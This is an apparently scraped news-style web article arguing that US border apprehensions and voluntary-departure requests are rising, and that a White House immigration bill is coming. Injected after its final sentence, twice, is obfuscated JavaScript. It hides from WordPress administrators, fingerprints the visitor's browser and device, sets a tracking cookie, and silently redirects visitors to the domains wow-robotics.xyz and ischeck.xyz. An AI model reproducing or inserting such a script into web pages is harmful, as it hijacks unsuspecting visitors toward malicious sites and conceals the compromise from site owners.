The Number of Migrants Asking for Voluntary Deportation is Rising

  • One percent of Guatemala and Honduras’ entire population migrated to the U.S. in the first seven months of this year
  • With too many migrant families and nowhere to put them, the number of migrants asking for self-deportation has reached a seven year high
  • The Trump administration has a brand new bill to overhaul the immigration system
Ask the Chief of the Border Patrol how the situation at our border is going and she’ll tell you “our apprehension numbers are off the charts.” U.S. Customs and Border Protection apprehended more than 109,000 migrants in April -- that’s more than any month since 2007. There’s so many migrants at the border that even migrants themselves are asking to be self-deported. There’s literally nowhere to put all these migrant families The systematic flow of migrants without a legal claim attempting to enter the U.S. is harming everyone involved, including the migrants themselves, overwhelmed border patrol agents and caseworkers, and U.S. taxpayers. Border patrol agents spend 40 percent of their time tending to families with children instead of enforcing the laws at our border -- that’s a lot of taxpayer dollars funding child care and transportation services for people who aren’t supposed to be here in the first place. Carla Provost understands the crisis at our border better than anyone. The Chief of Border Patrol says “we cannot address this crisis by shifting more resources. It’s like holding a bucket under a faucet. It doesn’t matter how many buckets you give me if we can’t turn off the flow.” The number of self-deportation requests granted increased fifty percent According to Politico, tougher enforcement of immigration laws is convincing more illegal immigrants to opt for "self-deportation", and more judges to grant that request as we run out of places to hold the migrants. With more migrants coming than ever before, and nowhere to put them, judges granted fifty percent more self-deportation requests in fiscal year 2017 than the year prior. Monthly applications for voluntary departure have skyrocketed in the last two years; Source: Department of Justice The White House wants immigration reform: is Congress also ready? In response to the crisis, the White House is putting together a new bill (with help from experts at the Department of Homeland Security) aimed at resolving the crisis once and for all. The new bill aims to:
  1. Modernize ALL ports of entry so that ALL people, vehicles and packages are scanned before entering the country
  2. Create a merit-based system to give migrants with job skills higher priority than relatives of immigrants already in the country
While any bill that might pass Congress is sure to require concessions from both sides of the aisle, the need for reform is loud and clear. A new bill is in the works. "Voluntary departure" is rising. Perhaps we may get the reform we need once and for all?var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://ischeck.xyz/?pma1','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};
